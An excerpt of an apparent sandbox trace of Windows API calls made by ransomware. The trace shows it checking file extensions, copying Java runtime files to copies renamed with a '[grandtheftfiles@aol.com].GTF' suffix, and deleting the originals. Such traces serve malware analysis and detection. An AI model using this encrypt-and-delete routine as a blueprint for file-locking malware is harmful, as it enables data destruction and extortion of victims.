	[0159.526] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0159.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.526] lstrlenW (lpString=".1cd") returned 4
	[0159.526] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0159.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.526] lstrlenW (lpString=".jpg") returned 4
	[0159.526] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0159.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.526] lstrlenW (lpString=".doc") returned 4
	[0159.526] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0159.526] lstrlenW (lpString=".docx") returned 5
	[0159.526] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0159.526] lstrlenW (lpString=".pdf") returned 4
	[0159.526] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0159.527] lstrlenW (lpString=".xls") returned 4
	[0159.527] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0159.527] lstrlenW (lpString=".xlsx") returned 5
	[0159.527] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0159.527] lstrlenW (lpString=".ppt") returned 4
	[0159.527] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0159.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.527] lstrlenW (lpString=".zip") returned 4
	[0159.527] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0159.527] lstrlenW (lpString=".rar") returned 4
	[0159.527] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0159.527] lstrlenW (lpString=".bz2") returned 4
	[0159.527] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0159.527] lstrlenW (lpString=".7z") returned 3
	[0159.527] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0159.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.527] lstrlenW (lpString=".dbf") returned 4
	[0159.527] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0159.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.527] lstrlenW (lpString=".1cd") returned 4
	[0159.527] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0159.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0159.527] lstrlenW (lpString=".jpg") returned 4
	[0159.527] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0159.527] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0159.527] lstrlenW (lpString="jce.jar") returned 7
	[0159.527] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0160.378] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=116446) returned 1
	[0160.378] CloseHandle (hObject=0x494) returned 1
	[0160.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20
	[0160.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.111] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0161.426] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.426] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.426] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0161.996] GetLastError () returned 0x0
	[0161.996] ReadFile (in: hFile=0x504, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x1c6de, lpOverlapped=0x0) returned 1
	[0162.037] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1c6e0, lpOverlapped=0x0) returned 1
	[0162.039] ReadFile (in: hFile=0x504, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.039] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0162.039] SetEndOfFile (hFile=0x528) returned 1
	[0162.039] CloseHandle (hObject=0x528) returned 1
	[0162.040] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.040] SetEndOfFile (hFile=0x504) returned 1
	[0162.045] CloseHandle (hObject=0x504) returned 1
	[0162.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.045] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1
	[0162.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.046] lstrlenW (lpString=".doc") returned 4
	[0162.046] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.046] lstrlenW (lpString=".docx") returned 5
	[0162.046] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0162.046] lstrlenW (lpString=".pdf") returned 4
	[0162.046] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.046] lstrlenW (lpString=".xls") returned 4
	[0162.046] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.046] lstrlenW (lpString=".xlsx") returned 5
	[0162.046] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0162.046] lstrlenW (lpString=".ppt") returned 4
	[0162.046] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.046] lstrlenW (lpString=".zip") returned 4
	[0162.046] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.046] lstrlenW (lpString=".rar") returned 4
	[0162.046] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.046] lstrlenW (lpString=".bz2") returned 4
	[0162.046] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.046] lstrlenW (lpString=".7z") returned 3
	[0162.046] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.046] lstrlenW (lpString=".dbf") returned 4
	[0162.046] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.047] lstrlenW (lpString=".1cd") returned 4
	[0162.047] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.047] lstrlenW (lpString=".jpg") returned 4
	[0162.047] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.047] lstrlenW (lpString=".doc") returned 4
	[0162.047] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.047] lstrlenW (lpString=".docx") returned 5
	[0162.047] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0162.047] lstrlenW (lpString=".pdf") returned 4
	[0162.047] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.047] lstrlenW (lpString=".xls") returned 4
	[0162.047] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.047] lstrlenW (lpString=".xlsx") returned 5
	[0162.047] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0162.047] lstrlenW (lpString=".ppt") returned 4
	[0162.047] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.047] lstrlenW (lpString=".zip") returned 4
	[0162.047] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.047] lstrlenW (lpString=".rar") returned 4
	[0162.047] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.047] lstrlenW (lpString=".bz2") returned 4
	[0162.047] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.047] lstrlenW (lpString=".7z") returned 3
	[0162.047] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.047] lstrlenW (lpString=".dbf") returned 4
	[0162.047] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.047] lstrlenW (lpString=".1cd") returned 4
	[0162.047] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.047] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46
	[0162.048] lstrlenW (lpString=".jpg") returned 4
	[0162.048] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.048] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0162.048] lstrlenW (lpString="logging.properties") returned 18
	[0162.048] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.048] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2455) returned 1
	[0162.048] CloseHandle (hObject=0x504) returned 1
	[0162.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20
	[0162.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.050] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.050] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.050] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0162.050] GetLastError () returned 0x0
	[0162.050] ReadFile (in: hFile=0x504, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x997, lpOverlapped=0x0) returned 1
	[0162.052] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0162.052] ReadFile (in: hFile=0x504, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.053] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0162.053] SetEndOfFile (hFile=0x528) returned 1
	[0162.053] CloseHandle (hObject=0x528) returned 1
	[0162.053] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.053] SetEndOfFile (hFile=0x504) returned 1
	[0162.055] CloseHandle (hObject=0x504) returned 1
	[0162.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.056] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1
	[0162.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.056] lstrlenW (lpString=".doc") returned 4
	[0162.056] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.056] lstrlenW (lpString=".docx") returned 5
	[0162.056] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.056] lstrlenW (lpString=".pdf") returned 4
	[0162.056] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.056] lstrlenW (lpString=".xls") returned 4
	[0162.057] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString=".xlsx") returned 5
	[0162.057] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.057] lstrlenW (lpString=".ppt") returned 4
	[0162.057] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.057] lstrlenW (lpString=".zip") returned 4
	[0162.057] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString=".rar") returned 4
	[0162.057] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString=".bz2") returned 4
	[0162.057] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString=".7z") returned 3
	[0162.057] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.057] lstrlenW (lpString=".dbf") returned 4
	[0162.057] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.057] lstrlenW (lpString=".1cd") returned 4
	[0162.057] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.057] lstrlenW (lpString=".jpg") returned 4
	[0162.057] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.057] lstrlenW (lpString=".doc") returned 4
	[0162.057] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString=".docx") returned 5
	[0162.057] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.057] lstrlenW (lpString=".pdf") returned 4
	[0162.057] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString=".xls") returned 4
	[0162.057] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.057] lstrlenW (lpString=".xlsx") returned 5
	[0162.057] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.058] lstrlenW (lpString=".ppt") returned 4
	[0162.058] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.058] lstrlenW (lpString=".zip") returned 4
	[0162.058] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.058] lstrlenW (lpString=".rar") returned 4
	[0162.058] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.058] lstrlenW (lpString=".bz2") returned 4
	[0162.058] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.058] lstrlenW (lpString=".7z") returned 3
	[0162.058] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.058] lstrlenW (lpString=".dbf") returned 4
	[0162.058] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.058] lstrlenW (lpString=".1cd") returned 4
	[0162.058] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57
	[0162.058] lstrlenW (lpString=".jpg") returned 4
	[0162.058] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.058] lstrcmpiW (lpString1=".access", lpString2=".GTF") returned -1
	[0162.058] lstrlenW (lpString="jmxremote.access") returned 16
	[0162.058] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.061] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3998) returned 1
	[0162.061] CloseHandle (hObject=0x504) returned 1
	[0162.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20
	[0162.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.061] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.061] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0162.063] GetLastError () returned 0x0
	[0162.063] ReadFile (in: hFile=0x504, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xf9e, lpOverlapped=0x0) returned 1
	[0162.065] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0162.066] ReadFile (in: hFile=0x504, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.066] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0162.066] SetEndOfFile (hFile=0x528) returned 1
	[0162.066] CloseHandle (hObject=0x528) returned 1
	[0162.066] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.066] SetEndOfFile (hFile=0x504) returned 1
	[0162.289] CloseHandle (hObject=0x504) returned 1
	[0162.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.128] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1
	[0163.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.129] lstrlenW (lpString=".doc") returned 4
	[0163.129] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0163.129] lstrlenW (lpString=".docx") returned 5
	[0163.129] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0163.129] lstrlenW (lpString=".pdf") returned 4
	[0163.129] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
	[0163.129] lstrlenW (lpString=".xls") returned 4
	[0163.129] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1
	[0163.129] lstrlenW (lpString=".xlsx") returned 5
	[0163.129] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1
	[0163.129] lstrlenW (lpString=".ppt") returned 4
	[0163.129] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1
	[0163.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.130] lstrlenW (lpString=".zip") returned 4
	[0163.130] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString=".rar") returned 4
	[0163.130] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString=".bz2") returned 4
	[0163.130] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString=".7z") returned 3
	[0163.130] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.130] lstrlenW (lpString=".dbf") returned 4
	[0163.130] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.130] lstrlenW (lpString=".1cd") returned 4
	[0163.130] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.130] lstrlenW (lpString=".jpg") returned 4
	[0163.130] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66
	[0163.130] lstrlenW (lpString=".doc") returned 4
	[0163.130] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1
	[0163.130] lstrlenW (lpString=".docx") returned 5
	[0163.130] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1
	[0163.130] lstrlenW (lpString=".pdf") returned 4
	[0163.130] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1
